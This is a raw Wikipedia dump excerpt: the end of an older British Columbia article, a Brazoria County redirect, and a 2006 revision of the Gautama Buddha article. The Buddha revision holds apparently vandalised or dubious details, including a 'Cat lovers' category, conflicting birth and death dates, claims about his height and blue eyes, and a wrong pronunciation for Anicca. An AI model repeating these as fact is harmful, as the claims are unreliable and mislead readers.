B.C. has long taken advantage of its Pacific coast to have close relations with [[East Asia]].  However, this has caused friction, with frequent feelings of animosity towards Asian immigrants.  This was most manifest during the [[World War II|Second World War]] when many people of [[Japan]]ese descent were interned in the interior of the province.

The post-[[World War II]] years saw Vancouver and Victoria also become cultural centres as poets, authors, artists, musicians, as well as dancers, actors, and ''haute cuisine'' chefs flocked to the beautiful scenery and warmer temperatures.  Similarly, these cities have either attracted or given rise to their own noteworthy academics, commentators, and creative thinkers.  Tourism also began to play an important role in the economy.  The rise of Japan and other Pacific economies was a great boost to the B.C. economy.

==Demographics== 

External link: [http://www12.statcan.ca/english/census01/products/highlight/ETO/Table1.cfm?T=501&amp;Lang=E&amp;GV=1&amp;GID=59&amp;S=1&amp;O=D|1 British Columbia ethno-cultural profile] at Statistics Canada

==Politics==
[[Image:British Columbia legislature building with totem pole.jpg|thumb|Legislative Buildings in Victoria, B.C.]]

BC has a 79-member elected [[Legislative Assembly of British Columbia|Legislative Assembly]], elected by the [[First Past the Post]] system. 

British Columbia's political culture is polarized and has tended to swing between [[Left-Right politics|right and left]].  There is little middle ground between the two main parties, whose core support each is estimated at 15-20%, with the middle fracturing variously towards either side because of few alternatives.  Within Canada, BC is viewed much as [[California]] is in the [[United States]], prone to unusual politics and scandals.  Its electorate is perhaps the most cynical in the country because of the history of sleaze and promise-breaking by temporarily-popular politicians.  BC voters are known not to vote ''for'' someone or for their party, but ''against'' them as voter motivation is more about getting rid of someone instead of caring who is actually brought in.  As a result elections can produce sudden reversals, as well as overly dominant majorities of extreme left or extreme right.  

Currently the province is governed by the revived [[British Columbia Liberal Party]] under [[Gordon Campbell]], widely perceived as conservative along the lines of the [[Ralph Klein|Klein]] or [[Mike Harris|Harris]] governments, although Campbell claims to be a centrist.  While many Liberal backbenchers and one or two cabinet ministers are, in fact, liberal, the party behaves as a rightist party and makes no secret of their ties to conservative economic policies and conservative governments in other jurisdictions. For a decade before the Campbell government took power, B.C. was governed by the [[social democratic]] [[New Democratic Party of British Columbia|New Democratic Party]] (NDP).  Before that, the government was led by the [[right-wing]] [[British Columbia Social Credit Party|Social Credit Party]] from [[1975]] to [[1991]].  However, due to the increasing unpopularity of leader [[Bill Vander Zalm]] and mounting scandals, the party was roundly defeated at the polls and collapsed in 1991.  From [[1972]] to [[1975]] an NDP government led by [[Dave Barrett]] held power but was defeated after a showdown with organized labour.  Its predecessor was the original Social Credit regime of [[W.A.C. Bennett]], a populist who espoused conservative policies but frequently resorted to state intervention and nationalization of key infrastructure.  

Prior to [[1903]] there were no [[political parties]] in British Columbia, other than at the federal level.  Sir [[Richard McBride]] was the first [[British Columbia Premier|Premier]] to declare a party affiliation ([[Conservative Party of Canada]]) and institute conventional party/caucus politics.

===Recall and Initiative===
British Columbia is the only province in Canada with  [[recall election]] and initiative legislation.

Only one recall petition was ever deemed to have had any success, compelling MLA [[Paul Reitsma]] to resign his seat hours before he would have been removed from office.

===Electoral Reform=== 
A [[Citizens' Assembly on Electoral Reform (British Columbia)|Citizens' Assembly]] in [[2004]] recommended replacing the [[First Past the Post]] system with a [[Single Transferable Vote]] system to be implemented in [[2009]], and a [[referendum]] was held on [[May 17]], [[2005]] to determine if this change should go ahead. The proposal received majority support (58% of the [[popular vote]]), but the government had required 60% to make the proposal binding on them. A second requirement was a [[simple majority]] in 60% of the current ridings and 77 of the 79 ridings achieved this, far more than the 48 minimum. The close result has provoked further interest in [[electoral reform]].  As a result of this, the Provincial Government has promised a second referendum on the issue to be held in November 2008.

{{seealso|List of British Columbia general elections}}

==Parks and Protected Areas==
There are 14 designations of parks and protected areas in the province that reflects the different administration and creation of these areas in a modern context. There are 141 ecological Reserves, 35 provincial marine parks, 7 Provincial Heritage Sites, 6 National Historic Sites, 4 National Parks and 3 National Park Reserves. 12.5% (114,000 km&amp;sup2;) of BC is currently considered 'protected' under one of the 14 different designations that includes over 800 distinct areas.

British Columbia contains seven of [[Canadian National Parks|Canada's national parks]]:

*[[Glacier National Park (Canada)|Glacier National Park]]
*[[Gulf Islands National Park Reserve]]
*[[Gwaii Haanas National Park Reserve and Haida Heritage Site]]
*[[Kootenay National Park]]
*[[Mount Revelstoke National Park]]
*[[Pacific Rim National Park Reserve]]
*[[Yoho National Park]]

BC also contains a large network of provincial parks, run by [http://wlapwww.gov.bc.ca/bcparks/ BC Parks] of the Ministry of Water, Land and Air Protection.

==Recreation==
Given its varied mountainous terrain and its coasts, lakes, rivers, and forests, British Columbia has long been enjoyed for pursuits like hiking and camping, rock climbing and mountaineering, hunting and fishing.

Much of the province is wild or semi-wild, so that populations of very many mammalian species that have become rare in much of the United States still flourish in B.C.  Watching animals of various sorts, including a very wide range of [[bird]]s, has also long been popular.  [[Bear]]s ([[grizzly bear|grizzly]] and [[black bear|black]]) live here, as do [[deer]], [[Red Deer|elk]], [[moose]], [[caribou]], big-horn [[sheep]], [[mountain goat]]s, [[beaver]]s, [[muskrat]], [[coyote]]s, [[wolf|wolves]], [[mountain lion]]s, [[eagle]]s, [[osprey]]s, [[heron]]s, Canada [[geese]], [[swan]]s, [[loon]]s, [[hawk]]s, [[owl]]s, [[ravens]], and many sorts of ducks.  Smaller birds ([[robin]]s, [[jay]]s, [[grosbeak]]s, [[chickadee]]s, etc.) also abound.

Healthy populations of many sorts of [[fish]]es are found in the waters (including, of course, salmonids such as several species of [[salmon]], [[trout]], [[char]], etc.).  Besides salmon and trout, sport-fishers in B.C. also catch [[halibut]], [[steelhead]], [[bass (fish)|bass]], and [[sturgeon]].

Water sports, both motorized and non-motorized, are enjoyed in many places.  Sea [[kayak]]ing opportunities abound on the B.C. coast with its [[fjords]].  [[Whitewater rafting]] and kayaking are popular on many inland rivers.  [[Sailing]] and [[sailboarding]] are widely enjoyed.

In winter, cross-country and telemark skiing are much enjoyed, and in recent decades high-quality downhill skiing has been developed in the Coast Mountain range and the Rockies, as well as in the southern areas of the Shuswap Highlands and the Columbia Mountains.  Snowboarding has mushroomed in popularity since the early 1990s. The [[2010 Winter Olympics]] downhill events will be held in [[Whistler-Blackcomb]] area of the province, while the indoor events will be in the [[Vancouver]] area.

In Vancouver and Victoria (as well as some other cities), opportunities for joggers and bicyclists have been developed.  Cross-country bike touring has been popular since the ten-speed bike became available many years ago.  Since the advent of more robust mountain bikes, trails in more rugged and wild places have been developed for them.  Some of the province's retired rail beds have been converted and maintained for hiking, biking, and cross-country skiing.

[[Horseback riding]] is enjoyed by many British Columbians.  Opportunities for [[trail riding]], often into especially scenic areas, have been established for tourists in numerous areas of the province.

Of course, British Columbians have not failed to enjoy all the traditional sports, like [[golf]], [[tennis]], [[soccer]], [[ice hockey|hockey]], [[rugby union|rugby]], [[softball]], [[basketball]], [[curling]], [[figure skating]], and so on.  B.C. has produced many outstanding athletes, especially in aquatic and winter sports.  Also, today programs of training and toning systems like [[aerobics]] and [[hatha yoga]] are widespread. Most communities of several thousand people or more have developed facilities for these (as, in some cases, have communities of even a few hundred).

Consistent with both increased [[tourism]] and increased participation in diverse recreations by British Columbians themselves has been the proliferation of [[lodge]]s, [[chalet]]s, [[bed and breakfast|bed and breakfasts]], [[motel]]s, [[hotel]]s, fishing camps, and park-camping facilities in recent decades.

In certain areas, there are businesses, non-profit societies, or municipal governments dedicated to promoting [[ecotourism]] in their region.

===Recreational Cannabis===
In recent years there has also been a rise of '[[marijuana]] culture' in many parts of BC, to the extent that the production and sale of the drug is now estimated by the provincial Organized Crime Agency to be among the province's largest industries[http://www.canoe.ca/CNEWS/Law/Marijuana/2003/04/30/76393.html]. In Vancouver there are several open-to-the-public &quot;[[brown cafe]]&quot;-style coffee houses where people can meet and openly smoke marijuana. Though police may tend to turn a blind eye to pot use in some urban areas, the drug remains illegal throughout the province, and controlling its spread remains an ongoing and much-debated legal issue in the province. Issues such as the rise of marijuana &quot;grow ops&quot; in sburban communities and their related ties to [[organized crime]] continue to be a concern, though there is also a large and vocal pro-legalization lobby. Nevertheless, the quality, assortment and price of marijuana in BC sometimes makes it a destination for those taking an interest in [[cannabis]].

==Famous British Columbians==
*[[Bryan Adams]], musician
*[[Pamela Anderson]], actress
*[[Gil Bellows]], actor
*[[Earle Birney]], poet
*[[Michael Bublé]], singer
*[[Raymond Burr]], actor
*[[Kim Campbell]], politician
*[[Yvonne de Carlo]], actress
*[[Kim Cattrall]], actress
*[[Hayden Christensen]], actor
*[[James Doohan]], actor
*[[Peter Dyakowski]], athlete
*[[Atom Egoyan]], screenwriter/director
*[[Arthur Erickson]], architect
*[[Judith Forst]], opera singer (contralto)
*[[David Foster]], musician
*[[Matthew Good]], musician
*[[Michael J. Fox]], actor and Parkinson's activist
*[[Terry Fox]], athlete
*[[Don Francks]], actor
*[[Nelly Furtado]], singer/songwriter
*[[Nancy Greene]]-Raine, Olympic medalist (skiing)
*[[Rick Hansen]], former [[Paralympics|Paralympian]] and [[disability]] activist
*[[Doug Hepburn]], Empire Games medalist and founder of the sport of powerlifting
*[[Ben Heppner]], opera singer (tenor)
*[[Joshua Jackson]], actor
*[[Paul Kariya]], hockey player
*[[Joe Keithley]], punk singer/songwriter
*[[Gene Kiniski]], professional wrestler
*[[Diana Krall]], musician
*[[Kristin Kreuk]], actress
*[[Silken Laumann]], Olympic medalist (rower)
*[[Malcolm Lowry]], novelist
*[[Sarah McLachlan]], musician
*[[Leon Mandrake]], magician (&quot;Mandrake the Magician&quot;)
*[[Greg Moore (race car driver)|Greg Moore]], race car driver
*[[Carrie-Anne Moss]], actress
*[[Steve Nash]], [[National Basketball Association|NBA]] [[Most Valuable Player|MVP]]
*[[Cam Neely]], hockey player
*[[Scott Niedermayer]], hockey player
*[[Rob Niedermayer]], Scott's brother
*[[Jimmy Pattison]], businessperson and [[Fortune 500]] member
*[[Tony Pep]], boxer/boxing coach-promoter
*[[Al Purdy]], poet
*[[Jason Priestley]], actor
*[[Ryan Reynolds]], actor
*[[Joe Sakic]], hockey player
*[[Jack Shadbolt]], painter/sculptor
*[[Michael Shanks]], actor
*[[Dorothy Stratten]], actress/model
*[[David Suzuki]], environmental advocate
*[[Margaret Trudeau]], ex-wife of Prime Minister [[Pierre Elliott Trudeau]]
*[[Larry Walker]], baseball player
*[[Steve Yzerman]], hockey player

==Maps==
[[Image:Bc new.jpg|thumbnail|right|300px|British Columbia map from the Atlas of Canada]]
[[Image:Bcmap.PNG]]

==Cities==
Half of all British Columbians live in the [[Greater Vancouver Regional District]], which includes [[Vancouver, British Columbia|Vancouver]], [[New Westminster, British Columbia|New Westminster]], [[Surrey, British Columbia|Surrey]], [[West Vancouver, British Columbia|West Vancouver]], [[North Vancouver, British Columbia|North Vancouver]], [[Burnaby, British Columbia|Burnaby]], [[Coquitlam, British Columbia|Coquitlam]], [[Port Coquitlam, British Columbia|Port Coquitlam]], [[Maple Ridge, British Columbia|Maple Ridge]], [[Langley, British Columbia|Langley]], [[Delta, British Columbia|Delta]], [[Pitt Meadows, British Columbia|Pitt Meadows]], [[White Rock, British Columbia|White Rock]], [[Richmond, British Columbia|Richmond]], [[Port Moody, British Columbia|Port Moody]], [[Anmore, British Columbia|Anmore]], [[Belcarra, British Columbia|Belcarra]], [[Lions Bay, British Columbia|Lions Bay]] and [[Bowen Island, British Columbia|Bowen Island]].

Other cities:

*[[Abbotsford, British Columbia|Abbotsford]]
*[[Colwood, British Columbia|Colwood]]
*[[Courtenay, British Columbia|Courtenay]]
*[[Dawson Creek, British Columbia|Dawson Creek]]
*[[Fort St. John, British Columbia|Fort St. John]]
*[[Kamloops, British Columbia|Kamloops]]
*[[Kelowna, British Columbia|Kelowna]]
*[[Nanaimo, British Columbia|Nanaimo]]
*[[Prince George, British Columbia|Prince George]]
*[[Quesnel, British Columbia|Quesnel]]
*[[Victoria, British Columbia|Victoria]] - provincial capital
*[[Williams Lake, British Columbia|Williams Lake]]

{{seealso|List of communities in British Columbia}}

== See also ==
*[[List of British Columbia-related topics]]
**[[List of British Columbians]]
***[[List of British Columbia premiers]]
***[[List of British Columbia lieutenant-governors]]
**[[List of communities in British Columbia]]
**[[List of British Columbia Regional Districts]]
**[[List of British Columbia provincial highways]]
**[[List of British Columbia Universities]]
**[[Same-sex marriage in British Columbia]]
**[[BC Ferries]]
**[[BC Hydro]]
**[[Geography of British Columbia]]
***[[British Columbia Coast]]
***[[Interior Plateau]]
***[[Lower Mainland]]
***[[Queen Charlotte Islands]]
***[[Vancouver Island]]
*[[Canada]]
**[[Provinces and territories of Canada]]
***[[List of Canadian provincial and territorial symbols]]
**[[List of cities in Canada]]

==External links==
* [http://www.travel.bc.ca Travel.bc.ca] British Columbia Travel &amp; Tourism Information
* [http://www.vancouverinfocenter.com Vancouver Info Center] Information about Vancouver, BC's largest city
* [http://www.hickerphoto.com/british-columbia-pictures-cat.htm Pictures of British Columbia]
* [http://www.bcarchives.gov.bc.ca Provincial Archives (includes online photo database)]
* [http://maps.gov.bc.ca/ BC Govt online map archive (free)]
* [http://www.ubc.ca/ University of British Columbia]
* [http://www.bcferries.bc.ca/ BC Ferries]
* [http://www.royalbcmuseum.bc.ca/ The Royal BC Museum]
* [http://www.mon-photo.com/North_America/Canada/_1/index.htm Photos from BC and Vancouver]
* [http://www.stevestonivillage.com Steveston, BC Community Website]

{{Canada}}
{{BritishColumbia}}

[[Category:British Columbia| ]]

[[ca:Colúmbia Britànica]]
[[cs:Britská Kolumbie]]
[[da:Britisk Columbia]]
[[de:Britisch-Kolumbien]]
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[[fa:بریتیش کلمبیا]]
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[[ja:ブリティッシュコロンビア州]]
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[[la:Columbia Britannica]]
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[[os:Бритайнаг Колумби]]
[[pl:Kolumbia Brytyjska]]
[[pt:Colúmbia Britânica]]
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    </revision>
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    <title>Brazoria County</title>
    <id>3393</id>
    <revision>
      <id>15901731</id>
      <timestamp>2002-04-13T09:53:31Z</timestamp>
      <contributor>
        <ip>64.26.98.90</ip>
      </contributor>
      <comment>*redirect - let's keep to standard of including state names even if the county name is unique!</comment>
      <text xml:space="preserve">#REDIRECT [[Brazoria County, Texas]]
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  <page>
    <title>Gautama Buddha</title>
    <id>3395</id>
    <revision>
      <id>42111909</id>
      <timestamp>2006-03-03T22:20:56Z</timestamp>
      <contributor>
        <username>Sunil vasisht</username>
        <id>783033</id>
      </contributor>
      <comment>added category indian philosophers</comment>
      <text xml:space="preserve">[[Image:StandingBuddha.JPG|thumb|Standing [[Buddha]], ancient region of [[Gandhara]], northern [[Pakistan]], 1st century CE, [[Musée Guimet]].]]

:''&quot;Siddhartha&quot; redirects here. For other uses, see [[Siddhartha (disambiguation)]].''
:''&quot;Gautama&quot; redirects here. For other uses, see [[Gautama (disambiguation)]].''
'''Gautama Buddha''' was a spiritual teacher who was born in [[Lumbini]], a place situated in modern [[Nepal]]. He spent most of his time in Northern [[India]], approximately [[563 BCE]] to [[483 BCE]], preaching his knowledge. Born as '''Siddhartha Gautama''' ([[Sanskrit]]: &quot;descendant of Gautama whose aims are achieved / who achieves aims effectively&quot;) he became &quot;the [[Buddha]]&quot; after embarking on a quest for spiritual meaning. He is universally recognised by Buddhists as the Supreme Buddha (literally ''[[bodhi|Enlightened One]]'' or ''Awakened One'') of our age. He is also commonly known as '''Shakyamuni''' or '''Śakyamuni''' (&quot;sage of the [[Shakya]] [[clan]]&quot;) and as the ''[[Tathagata]]'' (&quot;thus-come-one&quot;).

Gautama is the key figure in [[Buddhism]], and accounts of his life, [[discourses]], and [[monastic]] rules were summarized after his [[death]] and [[memorized]] by the [[sangha]].  Passed down by [[oral tradition]], the ''[[Tripitaka]]'' was committed to [[writing]] about four hundred [[year]]s later. [[Hindus]] regard Gautama as an [[avatar]] of [[Lord Vishnu]].

==Buddha's life==
Few of the details of the Buddha's life can be independently verified, and it is difficult to determine what is [[history]] and what is [[Mythology|myth]]. Therefore this article will describe the life of Siddhartha Gautama as told in the earliest available [[Buddhist texts]].

===Conception and birth===
[[Image:MayaDream.JPG|thumb|200px|left|[[Queen Maya]]'s white elephant dream. [[Gandhara]], 2-3rd century CE.]]

Siddhartha Gautama was born in [[Lumbini]] that was a part of ancient [[India|Indian]] Sakya Kingdom and is now situated in modern [[Nepal]], under the [[full moon]] of the sixth [[lunar month]], in the [[spring (season)|spring]]. His father was [[Suddhodana]], a King among the [[Kshatriya]] caste. His mother was [[Maya Devi]], one of Suddhodana's wives. The day of the Buddha's birth is widely celebrated in Buddhist countries as [[Vesak]]. Gautama was born a [[prince]], destined to a life of luxury.

[[Image:SiddhartaBirth.JPG|thumb|200px|The birth of Siddharta, Gandhara, 2-3rd century CE.]]

According to legend, before his birth Gautama had visited his mother during a vision, taking the form of a white [[elephant]]. During the [[Childbirth|birth]] celebrations, a [[seer]] announced that this baby would either become a great king or a great holy man. His father, King Suddhodana, wishing for Gautama to be a great king, shielded his son from religious teachings or knowledge of human [[suffering]].

&lt;br clear=&quot;left&quot; /&gt;

===Marriage===
When the young Prince Siddhartha Gautama was still a baby, an [[ascetic]] named Kaladevala went into the heaven of the 33 Gods of the [[Vedas]], and predicted that the young prince would become the Buddha. As the boy reached the age of 16, his father [[arranged marriage|arranged his marriage]] to [[Yashodhara]], a cousin of the same age. In time, she gave birth to a son, [[Rahula]]. [[Gautama]] lived up to the age of 29 as a prince in [[Kapilavastu]], a place situated now in [[Nepal]]. Although his father ensured that Gautama was provided with everything he could want or need, Gautama was constantly troubled and internally dissatisfied.

===The Great Departure===
[[Image:LeavingPalace.JPG|thumb|left|200px|The Great Departure from the Palace, Gandhara, 2-3rd century.]]

Inspired by the [[four sights]], Gautama determined to leave his home, his possessions and his family at age 29. He chose to become a [[monk]]. 

Abandoning his inheritance, he dedicated his life to learning how to overcome suffering. He pursued the paths of [[Yoga]] and [[meditation|meditated]] with two [[Brahmin]] hermits, and although he achieved high levels of meditative consciousness, he was not satisfied with this path.

[[Image:EmaciatedBuddha.JPG|thumb|130px|The Buddha as an ascetic. [[Gandhara]], 2-3rd century CE. [[British Museum]].]]
Gautama then chose the robes of a [[mendicant]] [[monk]] and headed to north-east [[India]]. He began training in the ascetic life and practicing vigorous techniques of physical and mental austerity. Gautama proved adept at these practices, and was able to surpass his teachers. 

However, he found no answer to his questions. Leaving behind his teachers, he and a small group of companions set out to take their austerities even further. Gautama attempted to find enlightenment through complete deprivation of worldly goods, including food, and became a complete ascetic. After nearly starving himself to death (some sources claim that he nearly drowned), Gautama began to reconsider his path. Then he remembered a moment in childhood in which he had been watching his father start the season's plowing, and he had fallen into a naturally concentrated and focused state which was blissful and refreshing.

===After leaving===
After discarding asceticism and concentrating on [[meditation]], Gautama discovered what Buddhists call the [[Middle Way]]&amp;mdash;a path of moderation away from the extremes of [[self-indulgence]] and [[asceticism|self-mortification]]. He accepted a little buttermilk from a passing goatherd, [[Sumedha]]. Then, sitting under a [[pipal]] tree,   now known as the [[Bodhi tree]], he vowed never to arise until he had found the Truth. At the age of 35, he attained [[Bodhi|Enlightenment]]; according to some traditions, this occurred approximately in May, and according to others in December. Gautama, from then on, was known as &quot;The Perfectly Self-Awakened One&quot;, the [[Sammasambuddha]].

He stated that he had realized complete Awakening and insight into the nature and cause of human suffering, along with steps necessary to eliminate it. These truths were then categorized into the [[Four Noble Truths]]; the state of supreme liberation&amp;mdash;possible for any being&amp;mdash;was called [[Nirvana]].

According to one of the stories in the [[&amp;#256;y&amp;#257;cana Sutta]] (''Samyutta Nikaya'' VI.1), a scripture found in the [[P&amp;#265;li]] and other [[wiktionary:canon|canon]]s, immediately after his Enlightenment, the Buddha was wondering whether or not he should teach the ''[[Dharma]]''. He was concerned that, as human beings were overpowered by greed, hatred and delusion, they would not be able to see the true ''dhamma'' which was subtle, deep and hard to understand. However, a spirit, [[Brahma Sahampati]], interceded and asked that he teach the ''dharma'' to the world, as &quot;there will be those who will understand the ''Dharma''&quot;. With his great compassion, the Buddha agreed to become a teacher. 

[[Image:Buddha-Sarnath-sepia.jpg|thumb|right|200px|Gautama Buddha preaching at the Deer Park in [[Sarnath]].]]
At the Deer Park near [[Benares]] in northern India he set in motion the [[Wheel of Dhamma]] by delivering his first sermon to the group of five companions with whom he had previously sought enlightenment. They, together with the Buddha, formed the first [[Sangha]], the company of Buddhist monks.

The Buddha emphasized that he was not a [[god]], he was simply enlightened. He stated that there is no intermediary between mankind and the [[divine]]; distant gods are subjected to [[karma]] themselves in decaying heavens; and the Buddha is solely a guide and teacher for the sentient beings who must tread the path of [[Nibbana]] themselves to attain [[Bodhi|spiritual awakening]] and see truth and reality as it is. The Buddhist system of insight, thought, and [[meditation]] practice was not revealed divinely, but by the understanding of the true nature of the [[mind]], which could be discovered by anybody.

For the remaining 45 years of his life, the Buddha traveled in the [[Gangetic Plain]] of Northeastern [[India]], teaching his doctrine and discipline to an extremely diverse range of people&amp;mdash; from nobles to street [[dalit|outcaste]] sweepers, including many adherents of rival philosophies and religions. The Buddha founded the community of Buddhist monks and nuns (the ''[[Sangha]]'') to continue the dispensation after his ''[[Parinibbana]]'' or complete Nibbana, and made thousands of converts. His religion was open to all races and classes and had no [[caste]] structure. On the other hand, Buddhist texts record that he was reluctant to ordain women as nuns: he eventually accepted them on the grounds that their capacity for enlightenment was equal to that of men (and the [[Lotus Sutra]], in Chapter 12, contains a description of the dragon king's daughter attaining enlightenment in her present body), but he gave them certain additional rules ([[Vinaya]]) to follow.

===The Great Passing===
[[Image:Paranirvana.JPG|thumb|200px|left|The death of the Buddha, or [[parinirvana]], Gandhara 2-3rd century.]]
[[Image:EndAscetism.JPG|thumb|200px|Sharing the relics of the Buddha into eight parts, [[Gandhara]], 2-3rd century.]]
At the age of eighty, the Buddha ate his last meal, which, according to different translations, was either a mushroom delicacy or soft pork, which he had received as an offering from a blacksmith named [[Cunda]]. Falling violently ill, possibly from [http://www.lankalibrary.com/Bud/buddha_death.htm mesenteric infarction], the Buddha realized that his end was approaching fast. He told his attendant [[Ananda]] to prepare a bed between two [[Sal]] trees at [[Kushinagar]], and then finally passed away. The Buddha's final words were, &quot;All composite things pass away. Strive for your own salvation with diligence.&quot;

The Buddha's body was cremated and the [[relic]]s were placed in monuments or [[stupa]]s, some of which are believed to have survived until the present.

&lt;br clear=&quot;left&quot; /&gt;

==Personality and character==
[[Image:BuddhaHead.JPG|thumb|194px|right|[[Gandhara]] Buddha, 1st-2nd century CE, [[Musée Guimet]].]]

The Buddha as presented in the Buddhist scriptures is notable for such characteristics as:
*A comprehensive education and training in those fields appropriate to a warrior aristocrat, such as [[martial arts]], [[agricultural management]], and [[literature]], and also a deep understanding of the religious and philosophical ideas of his culture.
*Athletic and fit throughout his life, competent in martial arts such as [[chariot]] combat, [[wrestling]], and [[archery]], and later easily hiking miles each day and camping in the wilderness. (Images of a fat &quot;Jolly Buddha&quot; or [[Laughing Buddha]] are actually depictions of either [[Maitreya]], The future Buddha, or a 10th century Chinese monk, sometimes called ''[[Hotei]]'',  ''Hoti'', or ''Milefo''.)
*A superb teacher, with a fine grasp of the appropriate [[metaphors]], and tailoring his teachings to the audience at hand. 
*Fearless and unworried at all times, whether dealing with religious debators, royalty, or murderous outlaws. He was never past exasperation when monks of his order misrepresented his teachings.
*Temperate in all bodily appetites. He lived a completely celibate life from age 29 until his death. He was indifferent to hunger and environmental conditions.

==Physical characteristics==
[[Image:SeatedBuddha.JPG|thumb|200px|Seated Buddha, [[Gandhara]], 1st-2nd century CE, [[Tokyo National Museum]].]]
{{main|Physical characteristics of the Buddha}}

Buddha is perhaps one of the few sages for whom we have mention of his rather impressive physical characteristics.  He was at least six feet tall and had a strong enough body to be noticed by one of the Kings and was asked to join his army as a general.
Although the Buddha was not represented in human form until around the [[1st century CE]] (see [[Buddhist art]]), his physical characteristics are described in one of the central texts of the traditional [[Pali canon]], the [[Digha Nikaya]]. They help define the global aspect of the historical Buddha, his physical appearance is described by Buddha's wife to his son Rahula upon Buddha's return in the scripture of the &quot;Lion of Men&quot;:

3. 
Like the full moon is His face; 
He is dear to Gods and men; 
He is like an elephant amongst men; 
His gait is graceful as that of an elephant of 
noble breed.
That, indeed, is your father, lion of men.

4. 
He is of Aryan (aristocratic nobility) lineage, sprung from the warrior caste; 
His feet have been honoured by Gods and men; 
His mind is well established in morality and 
concentration.
That, indeed, is your father, lion of men.

5. 
Long and prominent is His well-formed nose, 
His eye-lashes are like those of a heifer; 
His eyes are extremely blue ; like a rainbow are 
His deep blue eyebrows.  
(The word used is &quot;adhi nila&quot;, meaning &quot;very blue&quot;, nila is used for the word blue sapphire.)
That, indeed, is your father, lion of men.

6. 
Round and smooth is His well-formed neck; 
His jaw is like that of a lion; 
His body is like that of king of beast; 
His beautiful skin is of bright golden colour. 
That, indeed is your father, lion of men. 

Interpretations may vary, and the reliability of the ''[[Sutras]]'' may be questioned. The description above is indicative of a typically [[Indo-Aryans|Indo-Aryan]] body type. This can also be related to the tradition describing the historic Buddha as a member of the Indian [[Kshatriya]] warrior caste.

==Teachings==
[[Image:Sermon in the Deer Park depicted at Wat Chedi Liem-KayEss-1.jpeg|thumb|right|200px|Painting of the first sermon depicted at [[Wat Chedi Liem]] in [[Thailand]].]]

The teachings of the Buddha are covered in the articles on '''[[Buddhism]]''' and '''[[Buddhist philosophy]]'''. Many [[Schools of Buddhism|Buddhist sects]] disagree as to what the Buddha actually taught. There seems to be major agreement on these points:

* The [[Four Noble Truths]]: that suffering is an inherent part of existence; that suffering is caused by attachment(craving); that craving can be ceased; and that following the Eightfold Path will lead to the cessation of craving (and suffering).
* The [[Noble Eightfold Path]]: right understanding, right thought, right speech, right action, right livelihood, right effort, right mindfulness, and right concentration.
* The law of [[Pratitya-samutpada|dependent causation]]: that events are not [[Predestination|predestined]], nor are they [[random]], but that events are caused by the actions that preceded them.
* Rejection of the [[infallibility]] of accepted [[scripture]]: teachings should not be accepted unless they are borne out by our experiences.
* [[Anicca]](pronounce as &quot;anatesa&quot;): That all things are impermanent.
* [[Anatta]]: That the perception of a constant &quot;[[self]]&quot; is an illusion.

==The Buddha in other religions==
===Hinduism===
[[Image:Avatars.jpg|right|thumb|250px|Some adherents of Hinduism regard Buddha (bottom right) as one of the 10 avatars of [[Lord Vishnu]] (center)]]
Some [[Hindu denominations]] regard Buddha as the ninth avatar of Lord Vishnu. Buddhists in general do not consider the Buddha to be [[God]] or an [[avatar]] of any god. The general decline of Buddhism in India has been attributed to the development of [[Vedanta]] philosophy which began challenging Buddhism's philosophically strong image.

===Islam===
Some [[Islam|Muslims]] believe that Siddharta Gautama is the same person who is referred to in the [[Koran]] as ''[[Dhul-Kifl]]'', and that he was therefore a [[prophet of Islam]]. The meaning of ''Dhul-Kifl'' is unclear, but, according to this view, it means &quot;the man from ''Kifl''&quot;, where ''Kifl'' is the [[Arabic language|Arabic]] pronunciation of [[Kapilavastu]], where the Buddha spent thirty years of his life. More common views, however, hold that ''Dhul-Kifl'' was a different person and not a prophet at all, or that he was the prophet called [[Ezekiel]] in the [[Bible]].

===Christianity===
The legend of &quot;[[Barlaam and Josaphat]]&quot;, written down by [[St. John of Damascus]] some time around the [[7th century]], bears a close resemblance to the story of the Buddha. Barlaam and Josaphat found their way into the Roman Martyrology ([[27 November]]), and into the Greek calendar ([[26 August]]).

===Judaism===
Meditation and teachings of Buddha have been adopted by many Jews in their worship ceremonies. Because Buddhism is centered around a path instead of a God, its teachings are often adopted without having to convert or let go of any beliefs. Jews who follow Buddhist customs are called Jubus or Bujews.

==See also==
*[[Iconography of the Buddha]]

==External links==
{{wikiquote}}
* [http://www.accesstoinsight.org/ptf/buddha.html A sketch of the Buddha's Life]
* [http://www.synaptic.bc.ca/ejournal/buddhist.htm Critical Resources: Buddha &amp; Buddhism]
* [http://www.azibaza.com/lecture/lectures_emaciated.htm The Emaciated Gandharan Buddha Images: Asceticism, Health, and the Body]
* [http://www.borobudur.tv/lalitavistara.htm The Lalitavistara]

{{Buddhism2}}

[[Category:1029 BC births|Buddha]]
[[Category:483 BC deaths|Buddha]]
[[Category:563 BC births|Buddha]]
[[Category:949 BC deaths|Buddha]]
[[Category:Buddhism|Buddha]]
[[Category:Buddhist philosophers|Buddha]]
[[Category:Indian philosophers]]
[[Category:Cat lovers|Buddha]]
[[Category:Hindu religious figures|Buddha]]
[[Category:Indian religious figures|Buddha]]
[[Category:History of Bihar|Buddha]]

{{Link FA|ja}}
{{Link FA|vi}}

[[ca:Siddharta Gautama]]
[[cs:Gautama Buddha]]
[[da:Siddharta Gautama]]
[[de:Siddhartha Gautama]]
[[eo:Budho]]
[[es:Siddhartha Gautama]]
[[et:Siddhartha Gautama]]
[[fa:&amp;#1587;&amp;#1740;&amp;#1583;&amp;#1575;&amp;#1585;&amp;#1578;&amp;#1575; &amp;#1711;&amp;#1608;&amp;#1578;&amp;#1575;&amp;#1605;&amp;#1575;]]
[[fr:Gautama Bouddha]]
[[gl:Siddharta Gautama]]
[[he:&amp;#1490;&amp;#1488;&amp;#1493;&amp;#1496;&amp;#1502;&amp;#1492; &amp;#1489;&amp;#1493;&amp;#1491;&amp;#1492;&amp;#1488;]]
[[id:Siddhartha Gautama]]
[[it:Buddha]]
[[ja:&amp;#37320;&amp;#36838;]]
[[jbo:sidartas gautamas]]
[[ko:&amp;#49437;&amp;#44032;&amp;#47784;&amp;#45768;]]
[[lv:Sidhārta Gautama]]
[[ms:Gautama Buddha]]
[[nl:Gautama Boeddha]]
[[no:Siddharta Gautama]]
[[pl:Budda Siakjamuni]]
[[pt:Siddhartha Gautama]]
[[ro:Gautama Siddhartha]]
[[ru:&amp;#1041;&amp;#1091;&amp;#1076;&amp;#1076;&amp;#1072; &amp;#1043;&amp;#1072;&amp;#1091;&amp;#1090;&amp;#1072;&amp;#1084;&amp;#1072;]]
[[scn:Gautama Siddhartha]]
[[simple:Gautama Buddha]]
[[sv:Buddha]]
[[ta:கௌதம புத்தர்]]
[[tpi:Sidarta]]
